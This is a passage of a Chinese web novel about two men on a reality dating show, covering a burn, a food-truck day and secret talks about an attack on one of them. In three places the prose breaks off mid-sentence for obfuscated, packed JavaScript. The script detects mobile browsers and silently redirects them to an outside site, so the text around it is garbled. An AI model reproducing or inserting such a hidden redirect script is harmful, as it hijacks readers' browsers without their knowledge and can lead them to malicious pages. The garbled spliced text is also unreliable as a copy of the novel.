他一直都觉得,安乐言的眼睛很美,虽然并不知道他为什么每天都要把眼角修饰得下垂。 如果能抹掉那层伪装就好了,银心呆呆地想,那双眼睛原本的弧度该多好看啊。 而一旁的聂长星,此刻也愣愣地看着安乐言。 已经冲了一会儿凉水,安乐言干脆利落地解开了银心袖口的扣子,小心将他的衣袖轻轻往上推。 银心曾为了写生常年待在室外,皮肤被晒成了微微的古铜色,在他肤色的衬托下,安乐言的手指几乎白得发光。 为了不触碰银心烫伤的手臂,他略微用力拉着衣袖,手背上筋骨清晰浮现,带着种刚健的美感。 聂长星的喉结微微一动。 果然,认真工作的男人最蛊惑!安乐言现在的样子实在太攻了! 安乐言此刻却完全没意识到两人的小心思,他小心地卷起了银心的袖口,看到他的皮肤没有起泡,这才松了口气,一边继续拉着他冲凉水,一边低声道:“你再冲一会儿,直到不感觉烫和疼了才能停。我带了烫伤药的,等我去拿。” 很快,节目组的人也围拢过来,张茂担心地问:“要不要紧?需要去医院吗?” 银心还沉浸在刚才的思绪里,茫然了几秒才摇头:“没关系,我已经不怎么感觉痛了。” “的确没什么事。”老师仔细看了看他的胳膊,“刚才那个嘉宾处理得很好,很专业。” 白景辰凑上来说:“对,上次我也差点被汤烫到,幸亏乐言帮我稳住了锅子。他真的好厉害。” 聂长星突然笑了:“那当然啊,他可是专业的。” 穆为装模作样地摇了摇头:“唉,做饭也专业,照顾人也专业,真是宜室宜家。” 这一句话倒是惹起了大家的心思。 这可是拍恋综呢,这么好一个人,可要快点下手,免得被别人抢走了! 几个嘉宾互相看了看对方,空气中不知不觉掺入了几分竞争的意味。 过了一会儿两组交换,安乐言从餐车里下来,看了看两边的场地,问:“沧哥呢?” “在打电话吧,”白景辰回答,“培训刚开始没多久他就接到了电话,一直在那边。” 安乐言探头看了一眼。 今天阳光很好,将奶白色的餐车照得闪闪发亮。 身穿细条纹衬衫的傅识沧悠闲地拿着手机,随意一站,便像是在拍广告大片一样,把餐车也衬得高级起来。 只是那脸色,怎么那么白? 难道伤口又出了什么问题? 安乐言皱了皱眉,大踏步地走了过去。 10. 第 10 章 十分钟前,汪肖雨在电话里咆哮: “你说过不来是怎么回事?那刀口划在你肚子上,不是在我身上!你不来换药,回头要是发炎了怎么办?万一有个什么不对,你那大隐隐于市的计划也玩完了,你还矜持个屁啊!” 傅识沧把手机拿远了些,一脸嫌弃地等着汪肖雨输出完,这才慢条斯理地回答他:“你以为换药是你独门绝技我离了你就不行?我不找你还不能去找别人?” “找别人?”汪肖雨惊讶,“你不是说不信任节目组的医生吗?谁帮你换的药?你去祸害人家节目组的小姑娘了?” “滚,”傅识沧笑道,“你知道我参加的是什么恋综吗?撩人家小姑娘不怕报应?” “那就是小嫂子?呸呸呸!”汪肖雨气糊涂了,“管他是谁,用药安全吗?你……你还是傅识沧吗?” “你电视剧看多了吧!”傅识沧的目光中闪过一丝锐利,“别墅里百八十个摄像头,能把我药晕了再替我上节目,汪医生,不如你来试试?” 他欠揍地逗着汪肖雨,眼前却浮现出安乐言抿着唇,小心翼翼给他消毒时的情形。 细白的手指紧紧捏着消毒用的镊子,脸凑得很近,从他的角度,只能看见男生乌黑的发顶,碘伏棉球轻轻沾在皮肤上,刺激的同时也带来了一种说不出的痒。 他摩挲了一下手指,回头看了餐车一眼。 餐车刚起了一阵喧哗,安乐言这会儿正拉着银心的手,把他的手臂放在水龙头下冲。银心看起来似乎全身都僵硬了,目光却直直盯在安乐言身上。而站在他身边的聂长星也红了脸。 无聊,做个咖啡都能弄出事来。 傅识沧皱着眉转过头来:“不说这个,我问你,我的个人爱好,比如喜欢吃什么,不能吃什么这些,很多粉丝都知道吗?” 电话那头的汪肖雨一愣,方才还说得好好的,这位少爷怎么突然生气了。 不过他还是实话实说:“看是什么样的粉丝吧。你的访谈我也看过一些,透露出的隐私信息并不多,以前有个生活访谈曾经问过这方面的问题,我记得你挑了几条回答过。” 他顿了顿,有点迟疑:“我记得早期有你的狂热粉丝发过总结帖,但是已经被删很久了。要不我给你再找找?” “不用了,”傅识沧垂下视线,“这两天我会找机会出去,到时候详谈。” “这才对嘛!”汪肖雨开心了,“遵医嘱,常来医院看看啊……” 身后脚步声响起,傅识沧懒得再听汪肖雨哔哔,直接挂断了电话。 安乐言就站在他身后不远处,仰着脸看他。 “你的脸色不对,是不是早上散步又伤到了那里?” 他担心地皱着眉:“忘了嘱咐你别牵动伤口。昨天才换过药,老是折腾对伤口没好处。” 傅识沧挑了挑眉,餐车那边,嘉宾们原本已经开始了学习,此刻却都有点心不在焉,时不时便会往他们这边看上一眼,让人心烦。 他懒洋洋地靠在餐车上:“这又是你看相看出来的?技术还得练啊大师。我的伤口好好的,你倒是要赶紧去给他们看看,免得笨手笨脚地又再受伤。” 安乐言耸了耸肩。 当年的傅识沧也是这样,最烦他管他的身体。 一提起这个就顾左右而言他,要不就阴阳怪气。 没想到书里也是这样啊,安乐言想,作者还真是挺了解沧哥的。 这个时候,如果做一顿他喜欢的饭菜,大概率能把人哄回来,还能趁机再要求他一点点。 想到这里,他已经开始盘算今晚做什么晚饭了。 嘉宾们培训了大半天,虽然辛苦却觉得收获满满,大家都很高兴。 一回到别墅,安乐言就钻进了厨房。 他特地做了傅识沧喜欢的糖醋小排,等开饭的时候,却没见到人。 “他今晚有通告,”白景辰坐在他旁边,掏出手机来跟他解释,“你看,《超舞新星》改了录制时间,傅哥早就谈好了要去做嘉宾,所以就赶去了。” 看见安乐言一脸茫然,白景辰突然有些开心。原来安乐言也不是时刻关注傅哥的一举一动啊,这个消息他居然比安乐言更先知道。 安乐言看了眼他的手机,惊讶道:“这不是个舞蹈节目吗?沧哥又不是舞蹈专业出身。” “哈哈哈,”白景辰笑了起来,“嘉宾嘛,又不是导师,帅就行了。我还是江南美食协会的宣传大使呢,你们也不是没见识过我的厨艺。” 说起白景辰做的饭,大家都记忆犹新,跟着一起大笑。 晚餐的气氛突然变得很好。 之前安乐言说自己是傅识沧的铁杆粉丝,几人心里还有点不舒服。 有这样的偶像——粉丝关系在,傅识沧的优势,他们永远也别想赶上。 可现在一看,安乐言还真只是他的电影粉,说起电影来头头是道,却完全不知道他参加的其他节目。 如果真是这样,原先觉得天堑般的差距,现在就几乎不存在了。 大家心里猛地放松下来,席间嘉宾们妙语不断,笑声连连,又都频频夸奖安乐言做的菜好吃,逗得他笑个不停。 晚餐过后,安乐言照例要去洗碗,却被大家推出了厨房。 “做饭的人不洗碗,这不是你家的规矩吗?”白景辰抢过他手里的抹布,“这里交给我们,你去休息。” 穆为则直接按着他的肩膀把他推了出去:“你把活都干了,显得我们一个个不知感恩似的,等恋综播出,就该被网友指着鼻子骂了。” 他笑得风流:“还是说这是你故意的,不想让别人喜欢我?” 他说话的时候习惯性地靠近,目光专注得像是要表白。 安乐言一巴掌拍在他肩上:“我才没那么坏呢,那你们洗吧,我去散步消消食。” 看他笑着跑开,穆为忍不住摇了摇头。 回想他以前追的那些男生,随便靠近点就会脸红,刚才那句话说出来,大多数人都会习惯性地反撩回来:“你说谁喜欢你?” 可刚才安乐言那反应,完全就是不解风情的直男风格。 他真的明白自己是在拍恋综吗? 此刻的安乐言,已经走出了别墅。 这几天温度上升很快,晚上也不算凉快,稍微动一动就一身汗。 他在附近转了一圈,最后来到便利店门前。 门口新贴了广告,某个牌子的冰激凌买一送一。 这个牌子很小众,但用料讲究,味道也不错。 安乐言干脆买了一大包,先去了节目组那边。 还没到门前,跟拍他的小李就赶紧跑了出来。 “我就知道你们能看见,”安乐言笑着说,“正好可以偷懒少走几步路。” 小李赶忙接过他手中的袋子,张茂就跟着走了出来。 “让你破费了,”他笑着道了谢,从袋子里翻出一盒香草牛奶的,对安乐言点点头:“我送你回去。” 安乐言回头看了眼两栋房子之间不到20米的距离,冲着导演笑:“就这几步路,哪里需要您送。” 张茂吃了一口冰激凌:“这就是你不对了。小言啊,这两天我好好观察了你一下,你是来参加恋综的,不是来给那帮少爷做保姆,你也会有觉得累,或者心情不好的时候。你要记着,你没必要总是坚强,该依赖别人的时候,就要给别人机会。” 温暖的晚风吹过,把冰激凌的甜香带到远方,安乐言沉默一瞬。 当年跟着傅识沧,他本就是半个保姆的角色,后来孤身一人,在那样的环境里,根本就不可能依赖别人。 他已经习惯了,并不觉得累或者不舒服。再说了,他一个小炮灰,没必要浪费大家的时间去关注。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“那就好。”安乐言的眼睛阖上两秒,又强迫自己睁开,伸手指了指傅识沧的枕头,又指指床头柜上放好的水杯。 傅识沧走到床边,却没去看枕头上有什么,只是靠在床头问:“你怎么不上床睡?” “手臂压麻了。”安乐言呲牙咧嘴地站了起来,半抬着手臂,努力忍耐着流窜的麻痒。 睡衣T恤被他的手臂带起,露出一截精瘦的细腰。 他的肌肉并不突出,却能从雪白的肤色下,看出薄薄的轮廓。 不知是不是伤痕,少年的侧腰上,隐约蜿蜒着一道细细的粉色痕迹,如妖娆柔软的花枝,从睡裤边缘钻出,向上延伸,没入睡衣之中。 “啊,好麻好麻。”安乐言使劲搓着手臂。人前一贯温和有礼的他,此刻才露出些少年人常有的淘气。 大概是太困了,他搓了几下就倒在了床上,不过几秒钟,便再次进入了梦乡。 傅识沧这才转头看向自己枕头上的东西。 那是一盒对乙酰氨基酚缓释片,用于退热和镇痛。 傅识沧面无表情地把药盒丢在了床头柜上。 夜深了,傅识沧在床上翻了个身。 今天的节目录了很长时间,他也不得不跟着一起熬,那帮跳舞的少年中途玩到兴起,还拉着他做了几个动作,没过多久,腹部的伤口便隐隐作痛。 幸亏有安乐言给的束腹带,收紧的布料帮助他对抗着疼痛,这才平平安安地坚持到结束。 但是这会儿,他眼前却总晃动着一截细腰。 傅识沧伸出一只手,搭在自己的眼睛上。 伤口的痛仿佛化作两股热流,一股向下,另一股直冲头顶。 半个小时后,傅识沧生气地坐了起来,抓起床头柜上的水杯,抠出两粒药片,仰头吞了下去。 11. 第 11 章 第二天早上,安乐言照例去买早餐材料。 恋综的食材都由节目组提供,知道了他会早起,张茂专门安排小李跟着他,一起拍点素材,顺便付账。 “乐言你今天要买什么?”小李今天只带了个手持摄像机,正好固定在购物车上,两人一起来到生鲜区。 “买点牛肉吧,”安乐言在肉类专柜挑挑拣拣,“昨天吃了一天的三明治,大家估计都有点吃怕了,等会儿回去做个牛肉面。” 小李暗暗地吞了口口水,没敢说话。 安乐言挑好了牛肉转过身来:“节目组在这边常驻的大概十个人?那我买二十个人的量。” 小李惊了:“我们也有啊!那得多少牛肉,你做得过来吗?” 安乐言笑了:“就做个牛肉面而已,又不是正菜。每碗面里配30克熟牛肉,20碗就是600克,生牛肉三斤不到,一锅就炖了呢。” 小李当即愣住,心里盘算了好几遍才弄清楚比例,不由得想起昨天穆为评价安乐言的话,什么叫宜室宜家,这就叫宜室宜家! 早餐的牛肉面得到了所有人的好评,连张茂都怒干两大碗,打着饱嗝来招呼嘉宾们。 “今天是工作日啊!来来来,我们来决定工作日的人选。” 工作日是《美味关系》的一大特色,每期会安排两到三天,挑选两位嘉宾,开着餐车去售卖食物。 说是工作,但两人却可以单独相处一天,而且去的地方大都是漂亮的景点,这和约会有什么不同? 想到这里,嘉宾们的目光都集中在了张茂身上。 张茂一笑,指了指起居室墙面的一角。 那里新做了一个木质的小架,从上到下,挂着每个嘉宾的姓名牌。 “我们会指定一名嘉宾作为今天的工作者,”张茂指着那一溜名字,“而这位嘉宾将决定他的同伴是谁。” 他笑着回过头:“第一天,开张大吉,当然是要选饭做得最好的嘉宾。” 大家都笑了起来,转头去看坐在沙发角落里的安乐言。 “不过不完全是这个原因啊,”张茂也笑,“乐言第一天收到的短信也是最多的,但是没要分房权嘛,所以今天让他来挑工作伙伴,大家没意见吧!” “当然没有!”大家几乎异口同声,白景辰和穆为则招呼着安乐言:“快去吧!” 安乐言有点惊讶地站了起来,走到大家的名字前,又回头看了一眼。 起居室的沙发很大,穆为照例坐在单人沙发上,扭着身子看着这边,目光热切。 挨着他的长沙发上,挤着银心、白景辰和聂长星,穆为对面的双人软榻只坐了傅识沧一个。 其他人都睁大了眼睛看向姓名牌,只有他,这会儿不知道在和谁聊天,一直低着头。 安乐言转回头,心里暗暗地笑。 还是我沧哥霸气,和穆为这个大总攻坐对面,气势完全不输。那股慵懒又不在意的劲儿,简直游刃有余,太有范了。 在心里夸完了他沧哥,他又突然想起来,今早起床时看见那盒止疼药少了两片,沧哥昨晚果然还是觉得伤口疼了吧。 今天还是趁这个机会,让他去医院看看好了。 他转过身看向姓名牌,找到了傅识沧的那个。 漂亮的红木牌上镌刻着傅识沧的姓名,似乎还是他亲手所写。 忍住用指尖摩挲的想法,他把那张木牌翻了过来。 稀稀拉拉的掌声在起居室里响起,傅识沧不知什么时候已经放下了手机,微笑着站起身来,微微鞠躬道:“我很荣幸。” 张茂开心死了。方才安乐言翻过牌子的瞬间,其他嘉宾眼中的表情精彩极了,这就是他要的节目效果!等到这周六播出的时候,他要把这个场景作为第一集的最后一幕,吊足观众的胃口! 然后买个热搜,就用 #安乐言选了谁 这个词条! 半个小时后,餐车准备完毕,安乐言换好衣服背包下楼,傅识沧已经在驾驶座上等着了。 “沧哥,我来开车吧!”他仰首看着傅识沧的侧脸,“你昨晚回来那么晚,等会在车上补补觉。” 傅识沧发完最后一条消息,语调是惯有的温和:“不用,你赶紧上来。” 安乐言选择的地点是海城的喷泉公园。 时值七月,大批的游客都拖家带口到海城来度假,如果去海滩,两人怕是连喝水的功夫都不会有。 喷泉公园没有海滩那么热闹,海市本地人休息的时候都喜欢过来逛逛。 傅识沧把餐车停在了公园规定的食品售卖区,掏出一包烟来,在安乐言面前晃了晃。 “介意吗?” 安乐言:“沧哥等等!” 接着他就被拉到房车的吧台边坐下,看着安乐言从背包里掏出一套专业的化妆工具。 “我给你稍微改一下外形,要不你一下车就被人发现了。” 傅识沧心中一动。 方才出发前才做出了安排,他竟然就已经知道了吗? 他略有警惕地看向安乐言,却没有阻止。 少年靠近过来,手法专业地给他上了层轻薄的底妆,开始调整脸型。 他站得很近,近到一抬手就能把人拥进怀里。 傅识沧垂着目光,闻到他白净T恤上的淡淡香味。 甜中带着点清新的果香,像只尚未成熟的水蜜桃。 “你放心,不会给你上浓妆。”安乐言轻轻地解释,“但你这个样子下车,肯定一下子就被粉丝认出来了,我可不想被你的粉丝吃掉。” 原来,是怕粉丝认出来吗? 几分钟后,安乐言后退一步,端详了一下自己的作品,似乎不太满意:“总觉得还差点什么。” 傅识沧看向少年手中的化妆镜。 眉毛被加粗少许,眼型也用阴影做了改变,安乐言反其道而行之,将自己五官分明的脸改得略显扁平,和往日迥然不同。 傅识沧仔细看了看镜中的自己,从口袋里摸出一副金边眼镜戴上。 而就在换上眼镜的那一刻,他的气质完全变了。 不再是那个优雅、慵懒的傅识沧,而是一个孜孜不懈追求业绩和地位的商业精英。 安乐言一脸赞叹:“真完美,不愧是演技派!” 他打开餐车的售卖窗口,支起漂亮的遮阳棚,又把招牌搬下餐车。 工作日的时候,嘉宾们是不带收音设备的,只在餐车内设置了摄像头和麦克风。毕竟人来人往,带着麦克风卖东西,怎么看都有做戏的嫌疑。 “沧哥,”他借着安装招牌来到傅识沧身边,低声说,“你去趟医院吧。” 傅识沧转过身,弹了弹烟灰:“怎么,嫌我碍手碍脚?” “哪有!”安乐言连忙直起身来,“你昨天不是伤口疼?还是去医院看看,让汪医生给你开点药。” 他害怕傅识沧拒绝,又连忙说:“公园的西门出去就是第一医院,你从这里过去一趟最多一个小时,你现在变了装,我再帮你打个掩护,节目组不会知道的。” 香烟纠缠着向上飘散,傅识沧没有说话,金边眼镜的镜片反射着太阳光,让人看不清表情。 过了一会儿,他伸手在垃圾桶的灭烟盘上碾熄了香烟,懒洋洋地回应:“不去。” 话语简单,却不容拒绝。 安乐言无奈:“那我们开始准备咖啡和三明治?” 傅识沧抬了抬眼镜:“是你准备咖啡和三明治,我这么一身打扮怎么可能卖三明治?我啊,就在一边检验你的劳动成果,顺便当个吉祥物就好。” 他扔掉烟头,慢悠悠地走到餐车旁的用餐区坐下,似乎看起了风景。 安乐言在餐车里准备着三明治的材料,抬头便能看见他。 男人身高腿长,坐在餐椅上的姿态放松,目光却冷冷淡淡,仿佛只是个因为项目遇到困难而来公园散心的上班族。 可即便他的五官和气质都变得平凡,却依然是个极为引人注目的存在。 这才过去十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730304|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟,已经有好几个路人因为他而停留在附近,在确认他不是明星之后,依然跃跃欲试,想要上前去搭讪,却又有点害怕他那拒人千里之外的冷淡,纠结得要命。 安乐言想了想,做了一杯拿铁和一盘厚蛋吐司,给他端了过去,放在他身前的小桌上。 傅识沧侧头看了他一眼,嘲讽道:“你还真是不浪费资源啊!” 安乐言冲着他笑:“吉祥物嘛,总要起到点宣传作用。” 安乐言回到餐车的时候,那几个路人立刻跟了过来。 买到了吃的,当然就有理由去桌前坐下,搭讪不就可以理所当然? 安乐言笑眯眯地向大家推荐了今日的主厨套餐。 到了午餐时间,附近写字楼有不少白领都会选择到喷泉公园来吃午餐,广告公司的小雅也是其中的一人。 她并不喜欢外卖的预制食品和重油盐,总是在早餐时多做一份或两份三明治,中午在公园的天鹅湖边晒着太阳吃掉,稍作休息再回公司。 今天,她照常和同事一起来到了喷泉公园。 “诶,那边是不是多了一辆餐车?”同事指向公园的食品区,“好漂亮啊!” 小雅循声看过去,食品区的边缘停着一辆餐车,奶白的车厢搭配着鲜艳的红白格子阳棚,给公园增添了不少活泼的色彩。 “好像卖的是咖啡和三明治?”同事看了一眼小雅手中的午餐袋,“我说啊,他们怎么敢这么班门弄斧,在你面前卖三明治?” 小雅失笑:“你说得也太夸张了,我不过是自己乱做,人家可是专业的。” 虽说语言谦虚,却也带着骄傲。 “你那也叫乱做?你那个三明治视频已经有好几万粉丝了吧?”同事揶揄,“谦虚啥啊,走,我们去踢馆,跟他们好好比比。” 小雅哭笑不得,可同事已经快步向餐车走去了,她连忙跟上。 只是没走几步,同事却突然停了下来:“完了完了小雅,我走不动了。” “怎么了?”小雅惊讶,却见同事涨红了脸,不自在地指了指餐车的方向。 她连忙转头去看,一下子明白了同事的意思。 餐车里卖咖啡和三明治的男生实在是太漂亮了,超过一米八的个头,却仍带着少年人特有的清隽,皮肤在阳光的照射下白得耀眼。而他在招待客人的时候,总是笑得开心,仿佛自带一圈生机勃勃的光环,让人不由自主地向他靠近。 小雅不由得笑了起来:“哦~~原来你喜欢这种年下小奶狗啊。” 同事拉住了她的袖子:“你小点声,他那么漂亮,你就不喜欢?” “美人谁不喜欢,但不是我的菜,我喜欢成熟年上,看起来不在意,却有掌控感的那种……” 她的话音拖得老长,像是忘了后面该说什么,同事奇怪地顺着她的视线看过去。 那位漂亮的小哥此刻正端着一盘卖相极佳的三明治,来到饮食区的座位旁。 天啊! 那里还有一个戴眼镜的帅哥,宽肩长腿把一身正装穿得极为潇洒,五官虽然不算出众,气质却十分精英。神情也冷冷淡淡的,仿佛一切都在他的掌握之中。 两个女孩不由自主地小声尖叫起来。 而饮食区的树荫下,傅识沧看着安乐言送来的第五盘三明治,不由得抬了抬眼镜。 “你这是打算撑死我吗?”他面带微笑,声音却是磨着后槽牙发出的。 安乐言却没有说话,只是笑笑把盘子放下,又赶紧回餐车去招待顾客了。 夏日的阳光下,虽然有空调在背后释放冷气,他依然忙得一头细汗,不时脱下手套,用干净的毛巾擦掉,再一丝不苟地消毒双手,戴上手套,保证食品的卫生。 他突然想起了安乐言之前说的话,他的梦想是做一个专门给医生擦汗的护士。 这话虽然他没有亲耳听到,却听其他嘉宾说笑了好些回。 先前他只是一笑了之,可现在突然觉得,作为梦想,它的确有动人之处。 12. 第 12 章 “哎呀,这么好的三明治你怎么不吃?不如给我?”一个声音突然从身后传来。 傅识沧收回思绪,靠向椅背:“你在三个小时里吃上五盘试试?再好看也吃不下去。” 汪肖雨奇怪:“为什么给你这么多,我看你们生意挺好啊!” 正说着,就见两个女孩从他们身边走过,其中一个一直看着餐车那边,心动地拉拉同伴:“我错了,他做的三明治真的比你的还好看,而且看起来好好吃的样子,我们也去买一份尝尝吧。” 同伴摇头:“我带了午餐,你去买吧,我就吃自己的。” “自己的随时都能吃,帅哥明天可不一定能见到!”女孩突然更激动了,“你没看见那个大帅哥也买了,你就不想试试帅哥同款?” 同伴犹豫了,视线在傅识沧脸上扫了一圈,偏头红着脸:“那好吧,我就买他吃的这一种。” 两个女孩走远,傅识沧不由得冷了脸,身后的汪肖雨却笑得弯了腰:“哈哈哈哈,原来你的作用就是在这里做广告啊,你这个同事有性格,我喜欢!” 傅识沧黑着脸,拍了拍裤腿就要站起来:“我看你是真的很闲,没什么要紧事的话我就不奉陪了。” “哎别走别走。”汪肖雨笑得抽气,原本就口干舌燥的他吸了一肚子热气,嗓子突然卡住,话都说不出来。 一杯冰美式突然出现在他的桌前。 他赶紧拿过来灌了一大口。 冰凉的咖啡滋润了干得冒火的喉咙,汪肖雨舒爽地叹了口气,这才发现,自己面前摆上了一套餐车的主厨特供。 “汪医生?”上菜的小哥笑得两眼弯弯,是口罩也遮不住的漂亮,“还没吃午饭吧,先垫一垫。你们慢聊。” 餐车那边还有人在排队,安乐言也不多说,转身走了回去。 “啊,安……安乐言!”汪肖雨一下子指着男生的背影叫了出来,奇怪道,“他不是coser吗?怎么在这儿卖吃的?” 身后的傅识沧叹了口气。 汪肖雨看看自己面前的三明治,再扭回头看看傅识沧,终于回过味来:“哦~他就是那个给你端了五盘三明治的嘉宾?这……哈哈哈我更喜欢他了。诶,不对啊,他怎么知道我俩认识。” 汪肖雨也是聪明人,稍一回忆便得出了结论:“那天……他听见了?这人可靠吗?” 傅识沧没好气地踢了踢脚下的石砖:“他来综艺的第一天就给我换了药,昨天还专门买了止痛片等我回来吃,要是不可靠,你今天就只能在太平间见到我了。” “啧,至于那么夸张吗?你叔叔也不是傻子,在节目上动你不是明摆着招惹粉丝来扒他嘛。不过我还是很意外的,他干嘛对你那么好?” 傅识沧沉默一瞬,接着直入主题:“追查的结果怎么样?” 说起正事,汪肖雨终于正了脸色:“快了,方特助说,捅你的那个人他已经找到,但现在躲的地方是个小村庄,对外人很防备,他会尽量找机会把人带回来。” “韩特助那边,集团的情况他都盯着,最新的药品研发部门已经安插了你的人,有情况随时会向他汇报……” “还有李总和张总……” 十几分钟后,汪肖雨终于说完了所有的情况,特别积极地做了个总结:“总而言之,有你没你,大家都干得很好,他们都说,要你安心养伤,没有你他们也搞得定……啊不行了,我要饿死了,吃完再说!” 傅识沧靠着椅背,细细思量近期的计划。 几个特助的能力都毋庸置疑,只是他现在一举一动都在聚光灯下,平时手机的信息也会经过节目组的过滤,没法和自己的手下直接交换情报,这才用了这种看起来跟谍战片似的信息交换方法。 只不过接头的那个人,此刻正狼吞虎咽地吃着三明治,看起来极不靠谱。 “诶我说,”汪肖雨吃了点东西又开始叨叨,“这孩子不错啊,你都这么欺负他了他都没怨言,一个人忙前忙后的,人又漂亮,你就一点都不动心?” 傅识沧低低地笑了一声:“我一个人都自身难保,再拉一个来垫背吗?” “哎不是,你这人怎么这么悲观呢?”汪肖雨咽下最后一口三明治,又咕嘟咕嘟把咖啡灌下去,“你叔叔虽然势大,但他们那边也不是铁板一块,总有能撬动的地方。你自己不也说,你不主动惹事,但事情来了也不会怕。” “这些我当然知道,不需要你鹦鹉学舌。” “你这人怎么这样!”汪肖雨喝掉最后一口咖啡,“我的意思是说,报仇并不是你生活的全部,你完全可以一边布局一边享受生活。像这样的好孩子,在你们恋综里也有很多人追求吧?你不抓住很快就会被别人抢走了,到时候你后悔都来不及。” 他顿了顿,突然想起来什么似的:“你不会还惦记着你那个白月光吧。” 傅识沧皱眉:“什么白月光?” “就是你小时候总是梦到的那个,”汪肖雨瞬间回归贴心发小模式,“我就奇怪了,你梦里那个男孩子就那么漂亮?漂亮到现实中找不到可以和他比肩的人?” 傅识沧根本不接他的话:“不靠谱的话说几句就够了,天天想这些东西,真是为你手术台上的那些病人担心。” “呿,一说起这个你就转移话题,我现在不是小时候了,你的攻击对我没用,反弹给你,哼!” 汪肖雨站起身来伸了个懒腰:“走了走了,我明天还有手术,今天还有论文要写,啊……我需要再补充点能量。” 他晃晃悠悠地走向餐车,此时,公园里最后一拨上班族终于匆匆赶回写字楼,餐车周围终于冷清下来。 安乐言从车窗里探出头来:“汪医生!” 他从柜台下拿出两个打包袋,里面是各色包装好的三明治:“都是新鲜做的,您带回去给护士长她们尝尝吧。” 大热天里,他的发梢都被汗水打湿,有几缕软软地贴在面颊上,显得十分乖巧。 汪肖雨接过那袋三明治准备扫码,安乐言却伸手挡住了餐车的收款牌:“这是我请您的,上次住院给您添了不少麻烦,也请您代我谢谢护士长她们。” 汪肖雨挑了挑眉:“那你给我个私人号码好了,以后有机会我请你。” 他本意是替好友试探,若安乐言不愿透露个人信息,那就真的可疑。 谁知道安乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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其实连他自己都不知道那所谓的白月光长什么样。 那只是年少时的一个梦。 那段时间,他总是反反复复地做着一个梦,梦里的他好像有什么事要完成,或是要去找一个什么人,却怎么也想不起来。 梦里的他在黑暗里动弹不得,身后,似乎有众人的欢呼声传来,接着,他在逐渐远去的视野里,看见了一双眼睛。 那是他见过的最美的眼睛。 眼角微翘,如艳丽的花瓣,在月光下熠熠生辉。 但那双眼却是焦虑的、担忧的,仿佛和他一样,在寻找什么,追逐什么。 没有理由的,他在心里笃定,那人正在寻找的,是自己。 他想转回头,想要去那个人的面前,抓住他,告诉他,我在这儿,我在这儿…… 可他却无力动弹,只能看见那双眼睛离他越来越远。 最后的那一刻,那双眼渐渐被黑暗吞没,蓦地,烟花满天。 五彩的光升上天空,又如星子般落下,那样盛大,那样明亮,以至于遮住了当晚的月光。 他在烟花绽放的那一刻,失去了他的月亮。 13. 第 13 章 没人能解释,为什么那个梦纠缠了他五年之久。 每当他看见梦里的烟花绽放,心里总有种深深的愧疚,仿佛他一直亏欠着那双眼睛的主人。久而久之,这便成了他不愿触碰的心结。 但当年的他年幼无知,在被怪梦纠缠的第一个月,便把这件事告诉了汪肖雨。 那时的汪肖雨还是个中二少年,迷恋着假面骑士和魔兽世界,有一天他十分严肃地告诉傅识沧,这也许是个预言。 “预言什么?”那时的傅识沧已经开始默默地学习商业和药品开发的相关知识,他从厚重的书本上抬起头,扶了扶眼镜,“预言大地将会被流星毁灭,还是你会被人精神控制去刺杀女城主?”【1】 “不不不,一般来说,你获得的预言一定和你本身有关,”汪肖雨振振有辞,“你梦见烟花闪烁时失去了对方的踪迹,就像群星之环是恩佐斯的监狱,星光也将那个人囚禁其中。”【2】 他带着羡慕与神往:“或许是他在召唤你,让你为他打破星光,救他出来。” 当时的傅识沧对汪肖雨的想象力嗤之以鼻。 但架不住他不停地在耳边聒噪,反复证明自己结论的合理性。 十年过去,汪肖雨自己都忘了当年说过什么,今日的傅识沧却突然想了起来。 意识到自己竟然有点同意那样中二的观点,傅识沧摇了摇头。 果然,和不靠谱接触多了,也会变得不靠谱。 阳光渐渐西斜,晚风吹散了午后的燥热,他站起来活动了一下身体,顺手揉了一把睡美男的头发:“快醒醒,下班了。” 安乐言睡得迷迷糊糊,鼻端充盈的柑橘薄荷香带来了一个梦,他梦见自己又回到了傅识沧身边,跟着他一起参加傅家大宅的寿宴。 宴会盛大而华丽,他却在人群中焦急地寻找,却不知道他去了哪里。 他急得到处张望,可一直到宴会的食物都变成了三明治,他也没能搜寻到那个熟悉的影子。 被叫起来的安乐言带着一点起床气,双眼无神地瞪着眼前的人,却在分辨出对方的时候突然笑了。 鬓角的拉扯有一瞬间的放松,笑容中,那双眼恢复片刻的锋利。 傅识沧的心猛然一跳。 可再定睛去看的时候,狗狗眼的男生却依然乖巧温顺,一如平常。 回程是安乐言开车,一路跟着收音机里的歌曲轻哼 。 今天虽然做了噩梦,醒来就找到了人,他的心情依然很好。 他甚至有了再次见到沧哥的感觉。 会不会有这种可能,沧哥并没有离开,而是不知在什么地方治愈了自己,学会了睡懒觉,学会了放松自己,学会了用更加轻松的方式去达到目的? 他笑了笑,真是这样该多好。 傅识沧则安静地坐在副驾,手肘搁在车窗边,任由晚风吹起自己的额发,不知在想些什么。 两人无从知道,此刻他们的照片,已经传遍了网络世界。 【坐标西区喷泉公园,原来午餐艳遇真的可以有![图片][图片][图片]】 【同艳遇,小哥哥太漂亮了,笑得好看气质也佳,明天是不是还可以遇到?】 【后悔今天没过去午餐,还点了个特别难吃的外卖,气死我了】 